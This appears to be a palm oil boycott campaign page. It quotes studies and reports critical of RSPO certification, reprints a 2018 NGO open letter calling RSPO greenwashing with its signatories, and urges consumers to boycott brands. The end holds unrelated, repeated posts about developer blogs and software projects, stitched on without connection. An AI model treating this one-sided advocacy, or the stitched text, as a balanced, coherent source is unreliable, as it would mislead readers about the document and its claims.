Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228- The palm oil industry is neither sustainable nor a viable development model.
- Certification represents a technical fix which neglects underlying dynamics of power, class, gender and accumulation.
- The fetishised commodity ‘certified sustainable palm oil’ has no impact on the regional scale of expansion.
- Working conditions in the plantations and mills entrench social inequality and poverty.
From: Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228
Read report Deceased Estate: Illegal palm oil wiping out Indonesia’s national forest, Greenpeace Indonesia, Oct 2021“Both Roundtable on Sustainable Palm Oil (RSPO) and Indonesian Sustainable Palm Oil (ISPO) schemes are failing to ensure that palm oil is being produced and traded legally, let alone sustainably. They cannot be relied upon by overseas consumers concerned about their role in the global chain that leads to deforestation.”
Deceased Estate: Illegal palm oil wiping out Indonesia’s national forest, Greenpeace Indonesia, Oct 2021
No significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. (2018), Morgans, C. L. et al. Environ. Res. Lett. 13, 064032.
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RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector
Friends of the Earth and 100 other human rights and environmental NGOS co-signed this letter in 2018
Read original letterLetter
During its 14 years of existence, RSPO – the Roundtable on Sustainable Palm Oil – has failed to live up to its claim of “transforming” the industrial palm oil production sector into a so-called “sustainable” one. In reality, the RSPO has been used by the palm oil industry to greenwash corporate destruction and human rights abuses, while it continues to expand business, forest destruction and profits.
RSPO presents itself to the public with the slogan “transforming the markets to make sustainable palm oil the norm”. Palm oil has become the cheapest vegetable oil available on the global market, making it a popular choice among the group that dominates RSPO membership, big palm oil buyers.
They will do everything to secure a steady flow of cheap palm oil. They also know that the key to the corporate success story of producing “cheap” palm oil is a particular model of industrial production, with ever-increasing efficiency and productivity which in turn is achieved by:
- Planting on a large-scale and in monoculture, frequently through conversion of tropical biodiverse forests
- Using “high yielding” seedlings that demand large amounts of agrotoxics and abundant water.
- Squeezing cheap labour out of the smallest possible work force, employed in precarious conditions so that company costs are cut to a minimum
- Making significant up-front money from the tropical timber extracted from concessions, which is then used to finance plantation development or increase corporate profits.
- Grabbing land violently from local communities or by means of other arrangements with governments (including favourable tax regimes) to access land at the lowest possible cost.
Those living on the fertile land that the corporations choose to apply their industrial palm oil production model, pay a very high price.
Violence is intrinsic to this model:
- violence and repression when communities resist the corporate take over of their land because they know that once their land is turned into monoculture oil palm plantations, their livelihoods will be destroyed, their land and forests invaded. In countless cases, deforestation caused by the expansion of this industry, has displaced communities or destroyed community livelihoods where
- companies violate customary rights and take control of community land;
- sexual violence and harassment against women in and around the plantations which often stays invisible because women find themselves without possibilities to demand that the perpetrators be prosecuted;
- Child labour and precarious working conditions that go hand-in-hand with violation of workers’ rights;
- working conditions can even be so bad as to amount to contemporary forms of slavery. This exploitative model of work grants companies more economic profits while allowing palm oil to remain a cheap product. That is why, neither them or their shareholders do anything to stop it.
- exposure of workers, entire communities and forests, rivers, water springs, agricultural land and soils to the excessive application of agrotoxics;
- depriving communities surrounded by industrial oil palm plantations of their food sovereignty when industrial oil palm plantations occupy land that communities need to grow food crops.
RSPO’s proclaimed vision of transforming the industrial oil palm sector is doomed to fail because the Roundtable’s certification principles promote this structural violent and destructive model.
The RSPO also fails to address the industry’s reliance on exclusive control of large and contingent areas of fertile land, as well as the industry’s growth paradigm which demands a continued expansion of corporate control over community land and violent land grabs.
None of RPSO’s eight certification principles suggests transforming this industry reliance on exclusive control over vast areas of land or the growth paradigm inherent to the model.
Industrial use of vegetable oils has doubled in the past 15 years, with palm oil being the cheapest. This massive increase of palm oil use in part explains the current expansion of industrial oil palm plantations, especially in Africa and Latin America, from the year 2000 onward, in addition to the existing vast plantations areas in Malaysia and Indonesia that also continue expanding.
On the ground, countless examples show that industrial oil palm plantations continue to be synonymous to violence and destruction for communities and forests. Communities’ experiences in the new industrial oil palm plantation frontiers, such as Gabon, Nigeria, Cameroon, Liberia, Sierra Leone, Peru, Honduras, Brazil, Colombia, Ecuador, are similar to past and ongoing community experiences in Indonesia and Malaysia.
RSPO creates a smokescreen that makes this violence invisible for consumers and financiers. Governments often fail to take regulatory action to stop the expansion of plantations and increasing demand of palm oil; they rely on RSPO to deliver an apparently sustainable flow of palm oil.
For example, in its public propaganda, RSPO claims it supports more than 100,000 small holders. But the profit from palm oil production is still disproportionally appropriated by the oil palm companies: in 2016, 88% of all certified palm oil came from corporate plantations and 99,6% of the production is corporate-controlled.
RSPO also claims that the principle of Free, Prior and Informed Consent (FPIC) is key among its own Principles and Criteria. The right to FPIC implies, among others, that if a community denies the establishment of this monoculture in its territory, operations cannot be carried out. Reality shows us, however, that despite this, many projects go ahead.
Concessions are often guaranteed long before the company reaches out to the affected communities. Under these circumstances, to say that FPIC is central to RSPO is bluntly false and disrespectful.
RSPO also argues that where conflicts with the plantation companies arise, communities can always use its complaint mechanism. However, the mechanism is complex and it rarely solves the problems that communities face and want to resolve.
This becomes particularly apparent in relation to land legacy conflicts where the mechanism is biased against communities. It allows companies to continue exploiting community land until courts have come to a decision. This approach encourages companies to sit out such conflicts and count on court proceedings dragging on, often over decades.
Another argument used by RSPO is that industrial oil palm plantations have lifted millions of people out of poverty. That claim is certainly questionable, even more so considering that there is also an important number of people who have been displaced over the past decades to make space for plantations.
Indigenous communities have in fact lost their fertile land, forests and rivers to oil palm plantations, adversely affecting their food, culture and local economies.
The RSPO promise of “transformation” has turned into a powerful greenwashing tool for corporations in the palm oil industry. RSPO grants this industry, which remains responsible for violent land grabbing, environmental destruction, pollution through excessive use of agrotoxics and destruction of peasant and indigenous livelihoods, a “sustainable” image.
What’s more, RSPO membership seems to suffice for investors and companies to be able to claim that they are “responsible” actors. This greenwash is particularly stunning, since being a member does not guarantee much change on the ground. Only recently, a company became RSPO member after it was found to deforest over 27.000 hectares of rainforest in Papua, Indonesia.
Certification is structurally dependent on the very same policies and regulation that have given rise to the host of environmental devastation and community land rights violations associated with oil palm plantations. These systemic governance issues are part of the destructive economic model, and embedded in state power.
For this reason, voluntary certification schemes cannot provide adequate protection for forests, community rights, food sovereignty and guarantee sustainability. Governments and financiers need to take responsibility to stop the destructive palm oil expansion that violates the rights of local communities and Indigenous Peoples.
As immediate steps, governments need to:
- Put in place a moratorium on palm oil plantations expansion and use that as a breathing space to fix the policy frameworks;
- Drastically reduce demand for palm oil: stop using food for fuel;
- Strengthen and respect the rights of local communities and Indigenous Peoples to amongst others, self-determination and territorial control.
- Promote agro-ecology and community control of their forests, which strengthens local incomes, livelihoods and food sovereignty, instead of advancing industrial agro-businesses.
Signatures
- Aalamaram-NGOAcción Ecológica, Ecuador
- ActionAid, France
- AGAPAN
Amics arbres - Arbres amics
- Amis de la Terre France
- ARAARBA (Asociación para la Recuperación del Bosque Autóctono)
- Asociación Conservacionista YISKI, Costa Rica
Asociación Gaia El Salvador - Association Congo Actif, Paris
- Association Les Gens du Partage, Carrières-sous-Poissy
- Association pour le développement des aires protégées, Swizterland
- BASE IS
- Bézu St Eloi
- Boxberg OT Uhyst
- Bread for all
- Bruno Manser Fund
- CADDECAE, Ecuador
- Campaign to STOP GE Trees
- CAP, Center for Advocacy Practices
- Centar za životnu sredinu/ Friends of the Earth Bosnia and Herzegovina
- CESTA – FOE El Salvador
- CETRI – Centre tricontinental
- Climate Change Kenya
- Coalición de Tendencia Clasista. (CTC-VZLA)
- Colectivo de Investigación y Acompañmiento Comunitario
- Collectif pour la défense des terres malgaches – TANY, Madagascar
- Community Forest Watch, Nigeria
- Consumers Association of Penang
- Corporate Europe Observatory
- Cuttington University
- Down to Earth Consult
- El Campello
- Environmental Resources Management and Social Issue Centre (ERMSIC) Cameroon
- Environmental Rights Action/Friends of the Earth Nigeria
- FASE ES , Brazil
- Fédération romande des consommateurs
- FENEV, (Femmes Environnement nature Entrepreneuriat Vert).
- Focus on the Global South
- Forum Ökologie & Papier, Germany
- Friends of the Earth Ghana
- Friends of the Earth International
- GE Free NZ, New Zealand
- Global Alliance against REDD
- Global Justice Ecology Project
- Global Info
- Gobierno Territorial Autónomo de la Nación Wampís , Peru
- GRAIN
- Green Development Advocates (GDA)
- CameroonGreystones, Ireland
- Groupe International de Travail pour les Peuples Autochtones
Grupo ETC - Grupo Guayubira, Uruguay
- Instituto Mexicano de Gobernanza Medioambiental AC Instituto Mexicano de Gobernanza Medioambiental AC
- Integrated Program for the Development of the Pygmy People (PIDP), DRC
- Justica Ambiental
- Justicia Paz e Integridad de la Creacion. Costa Rica
- Kempityari
- Latin Ambiente, http://www.latinambiente.org
- Les gens du partage
- LOYOLA SCHOOL OF THEOLOGY, MANILA
- Maderas del Pueblo del Sureste, AC
- Maiouri nature, Guyane
- Mangrove Action Project
- Milieudefensie – Friends of the Earth Netherlands
- Movimento Amigos da Rua Gonçalo de Carvalho
- Muyissi Environnement, Gabon
- Nature-d-congo de la République du Congo
- New Wind Association from Finland
- NOAH-Friends of the Earth Denmark
- Oakland Institute
- OFRANEH, Honduras
- Ole Siosiomaga Society Incorporated (OLSSI)
- ONG OCEAN : Organisation Congolaise des Ecologistes et Amis de la Nature et sommes basés en RD Congo.
- OPIROMA, Brazil
- Otros Mundos A.C./Amigos de la Tierra México
- Paramo Guerrrero Zipaquira
- PROYECTO GRAN SIMIO (GAP/PGS-España)
- Quercus – ANCN, Portugal
- Radd (Reseau des Acteurs du Développement Durable) , Cameroon
- Rainforest Foundation UK
- Rainforest Relief
- ReAct – Alliances Transnationales
- RECOMA – Red latinoamericana contra los monocultivos de árboles
- Red de Coordinacion en Biodiversidad , Çosta Rica
- REFEB-Cote d’Ivoire
- Rettet den Regenwald, Germany
- ROBIN WOOD
- Sahabat Alam Malaysia (Friends of the Earth Malaysia)
- Salva la Selva
- School of Democratic Economics, Indonesia
- Serendipalm Company Limited
- Sherpa , The Netherlands
- SYNAPARCAM, Cameroon
- The Corner House, UK
Towards Equitable Sustainable Holistic Development - TRAFFED KIVU ,RD. CONGOUNIÓN UNIVERSAL DESARROLLO SOLIDARIO
University of Sussex, UK - UTB ColombiaWatch Indonesia!
- WESSA
World Rainforest Movement - Youth Volunteers for the Environment Ghana
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Which RSPO members continue to cause deforestation?
Have a look at these quarterly and at-a-glance reports by Mighty Earth, they show the RSPO members (palm oil manfacturers, traders, processors and retail brands) at the centre of deforestation. Click on image to go to most recent report. This information below is a stark contrast to the greenwashing WWF Palm Oil Scorecard, which allocates many of these same brands with a ‘green’ and ‘sustainable’ label and encourages people to buy from them! We call out this form of greenwashing and #Boycottpalmoil #Boycott4Wildlife!
View the Palm Oil Tracker View the latest Rapid Response ReportBack to top ↑
Retailers and banks at the heart of palm oil deforestation
Source: Rainforest Action Network (RAN)’s March 2020 Whitepaper
The True Cost of Palm Oil & Wood Pulp (2019)
https://palmoildetectives.com/wp-content/uploads/2021/02/greenpeace-palm-oil-and-wood-pulp-2019.pdf
Read reportHow Unilever and other global brands continue to fuel Indonesia’s fires (2019)
https://palmoildetectives.com/wp-content/uploads/2021/02/mondelez-nestle-p-and-g-unilever-bad.pdf
Read reportLoopholes in the palm oil supply chain allow RSPO members to continue to destroy forests with fire July 2020
https://www.youtube.com/watch?v=HlXmWWql6AM
Retailers and FMCG Giants do not take deforestation seriously enough to warrant change (2020)
https://www.youtube.com/watch?v=b2_uu4EOyqQ
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Which brands cause deforestation, human rights abuses for palm oil?
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Boycott Palm OilLearn how to boycott palm oil this Halloween in America, the UK and Australia
Brands Brands Brands Brands Boycott Palm OilBrands Using Deforestation Palm Oil
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Ecocide & Corruption Whistle-blowers on Twitter
With so much misinformation, greenwashing and BS out there. It is difficult to know who is telling the truth.
Here’s a list of NGOS, individuals and media outlets you can trust for clear information that exposes the corruption going on around so-called ‘sustainable’ palm oil, deforestation and many other issues.
Also these media outlets, individuals and NGOs regularly cover other topics like deforestation for soy, meat, gold, timber, cocoa, coffee and other commodities. They also expose corruption, abuse, violence and death of indigenous people, land grabs etc and how this links to global companies.
Back to top ↑
There are now literally thousands of people who are a passionate supporters and activists in the #Boycott4Wildlife – This list is not ignoring these people, you are all amazing people and the contribution you are making is very important!. However this list here focuses on people or NGOs who publish and produce news, research, books, photojournalism, podcasts or TV documentaries. So that everyone else knows who to listen to in the gigantic social media cacophony.
Back to top ↑
Use your wallet as a weapon and boycott the brands destroying rainforests for palm oil! It’s the #Boycott4Wildlife
Join the Boycott4WildlifeBack to top ↑
Get brand changes in your inbox
Enter your email address
Sign Up
Back to top ↑
Palm Oil Detectives is 100% self-funded
Palm Oil Detectives is completely self-funded by its creator. All hosting and website fees and investigations into brands are self-funded by the creator of this online movement. If you like what I am doing, you and would like me to help meet costs, please send Palm Oil Detectives a thanks on Ko-Fi.
Say thanks on Ko-FiBack to top ↑
#auditFraud #Boycott4wildlife #BoycottPalmOil #brandMarketing #consumerBoycott #consumerRights #deforestation #ecocide #extinction #fraud #greenwashing #illegal #landRights #landgrabbing #palmoilTweet #research #RSPO #RSPOGreenwashing #slavery #violence #wildlife #wildlifeActivism
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Devs, if you're building a web app and want to send out transactions as well as a fortnightly (templated) 'recent updates' newsletter... which email sending service would you recommend?
Back in the day I would have looked at sendgrid (now very bloated) or mailchimp (not so dev friendly) and more recently have used postmark.
Wondering if there's something else out there the cool kids are using these days?
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Dev Log: Hunting OOM kills, fixing CLS, and making Eleventy builds 10x faster
https://rmendes.net/articles/2026/03/10/dev-log-hunting-oom-kills
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Dev Log: Hunting OOM kills, fixing CLS, and making Eleventy builds 10x faster
https://rmendes.net/articles/2026/03/10/dev-log-hunting-oom-kills
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Dev Log: Hunting OOM kills, fixing CLS, and making Eleventy builds 10x faster
https://rmendes.net/articles/2026/03/10/dev-log-hunting-oom-kills
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Dev Log: Hunting OOM kills, fixing CLS, and making Eleventy builds 10x faster
https://rmendes.net/articles/2026/03/10/dev-log-hunting-oom-kills
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Dev Log: Hunting OOM kills, fixing CLS, and making Eleventy builds 10x faster
https://rmendes.net/articles/2026/03/10/dev-log-hunting-oom-kills
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Dev Log: 43 commits — design system, accessibility, and 306 bookmarks imported
https://rmendes.net/articles/2026/03/07/dev-log-43-commits-design
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Dev Log: 27 commits across 5 plugins to improve my blog
https://rmendes.net/articles/2026/03/06/dev-log-27-commits-across
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In Nodezator's dev branch: changed the magnetic sockets feature to make it closer to what I envisioned originally: the nodes had hands and would help you by grabbing the new connection for you.
The hands are CC0 assets from the excellent
@kenneynl -
Already in Nodezator's dev branch: magnetic sockets
It makes much easier for users to edit graphs, because they don't need to have the mouse exactly over a socket to interact w/ it. Instead, a nearby socket is detected whenever a relevant action takes place. #Python #nodeeditor
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@guide_dev: Probably not what you were waiting for, but here's an important update regarding #HearthstoneAccess: https://hearthstoneaccess.github.io/sunsetting-hearthstone-access.html
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@guide_dev: Probably not what you were waiting for, but here's an important update regarding #HearthstoneAccess: https://hearthstoneaccess.github.io/sunsetting-hearthstone-access.html
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@guide_dev: Probably not what you were waiting for, but here's an important update regarding #HearthstoneAccess: https://hearthstoneaccess.github.io/sunsetting-hearthstone-access.html
